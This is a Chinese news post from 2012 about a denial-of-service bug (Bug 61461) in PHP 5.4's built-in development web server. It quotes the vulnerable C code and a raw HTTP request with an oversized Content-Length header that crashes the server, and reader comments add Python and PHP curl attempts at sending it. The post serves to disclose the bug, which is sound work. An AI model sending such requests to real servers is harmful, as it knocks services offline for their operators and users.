PHP 的 DoS 漏洞,Bug 61461 - 开源中国社区
Float_left Icon_close
PHP 的 DoS 漏洞,Bug 61461
虫虫 2012年04月11日

PHP 的 DoS 漏洞,Bug 61461

虫虫 虫虫 发布于2012年04月11日 收藏 6 评论 15

当一个包含大数值 Content-Length 的 HTTP 请求被发送到内建的 PHP web 服务器后,可以触发拒绝服务问题(DoS)。

Bug 61461

Content-Length 头的值被直接传入了 premalloc() 函数,在 sapi/cli/php_cli_server.c 第1538行。然后 Zend/zend_alloc.h 的内联函数 malloc() 将报错,终止进程,抛出“Out of memory”错误。

static int php_cli_server_client_read_request_on_body(php_http_parser *parser, const char *at, size_t length)
{
php_cli_server_client *client = parser->data;
if (!client->request.content) {
client->request.content = pemalloc(parser->content_length, 1);
client->request.content_len = 0;
}
memmove(client->request.content + client->request.content_len, at, length);
client->request.content_len += length;
return 0;
}

把 Content-Length 设置为 2^31 - 10,也就是接近32位系统的上限值,能够重现这个问题。

测试脚本:
下面这个 HTTP 请求将触发这个bug。

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2147483648

A=B

正确结果:
我们预期得到一个有意义的错误信息。

Invalid request (Requested Content-Length is larger the allowed limit of XYZ)

实际结果:
PHP 5.4.0 Development Server started at Tue Mar 20 19:41:45 2012
Listening on 127.0.0.1:80
Document root is /tmp
Press Ctrl-C to quit.
Out of memory

本站文章除注明转载外,均为本站原创或编译。欢迎任何形式的转载,但请务必注明出处,尊重他人劳动共创开源社区。
转载请注明:文章转载自 开源中国社区 [http://www.oschina.net]
本文标题:PHP 的 DoS 漏洞,Bug 61461
分享
评论(15)
最新评论
0
求大神指导。该怎么做呢?我是怎么写的:
req = urllib2.Request(url="http://localhost/one.php", headers={"Content-Length":"2147483648","Content-type":"application/x-www-form-urlencoded","A":"B"})
服务器还是没反应
127.0.0.1 - - [11/Apr/2012:19:25:50 +0800] "GET /one.php HTTP/1.1" 200 4
0
只对5.4的有影响?
0

引用来自“张敏峰”的评论

内建的不是用于测试目的吗?实际对外环境几乎没人这样使用吧?

+1
0
内建的server刚发布不久,问题肯定很多,而且也只用于测试环境,所以危害不大
0
看来这一个就只有和5.4的版本有关系。。别的没有啥关系。。
0
内建的web server是测试用的。。。
0

引用来自“G.”的评论

我晶!

+1
0
内建的不是用于测试目的吗?实际对外环境几乎没人这样使用吧?
0
内建server我不用,你DDOS个屁
0
似乎危害程度很低。远远小于hash 攻击。
0
php可以使用curl构造攻击:
$headerArr[] = "Content-type: application/x-www-form-urlencoded";
$headerArr[] = "Content-length: ".'2147483648';
$headerArr[] = 'A=B';
0
用这漏洞试试去
0
这么晚了还不睡觉么?虫虫还还更新新闻呃…
0
我晶!
0
受影响的版本呢?临时解决办法有没有?
顶部